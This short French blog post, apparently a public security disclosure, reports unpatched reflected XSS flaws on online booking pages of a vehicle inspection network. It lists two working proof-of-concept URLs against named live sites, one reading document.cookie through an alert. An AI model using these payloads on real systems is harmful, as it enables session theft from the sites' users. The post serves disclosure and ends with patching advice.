L'objectif est de faire prendre conscience de la nécessité d'une politique globale en faveur d'une sécurité transparente. Je ne saurais être tenu responsable de toutes mauvaises utilisations de ces informations dans le cas où l'entreprise n'a pas pris au sérieux mon alerte.


J'avais déjà fait un article et un report sur leur structure concernant d'autres failles XSS et des failles SQL : https://in-securite.fr/proof-of-concept/securitest. Ils ont patchés les failles SQL mais pas vraiment les failles XSS d'où ce besoin d'y revenir.

En voici des exemples sur d'autres paramètres que la dernière fois, mais toujours avec le même pattern :

  • https://agenda2.autosecurite.org/rdv/?origine=affilie_asf&c=C03308101&typeRdv=%3C/script%3E%3Cscript%3Ealert(document.cookie);%3C/script%3E%3Cscript%3E&typeVeh=%3C/script%3E%3Cscript%3Ealert(%27In-Securite.fr%27);%3C/script%3E%3Cscript%3E&typeCarb=2#!/
  • https://abag.autosecurite.com/rdv_agenda_7j_asf_pel/form_rdv.php?id=%3C/script%3E%3Cscript%3Ealert(%27In-Securite.fr%27);%3C/script%3E%3Cscript%3E

Quand vous cherchez à patcher des failles quelles qu'elles soient, faut faire tous les paramètres aussi bien en POST qu'en GET, même si les requêtes en POST sont un peu plus dures à mettre en place, pour des pirates, en matière de XSS.

Article Suivant Article Précédent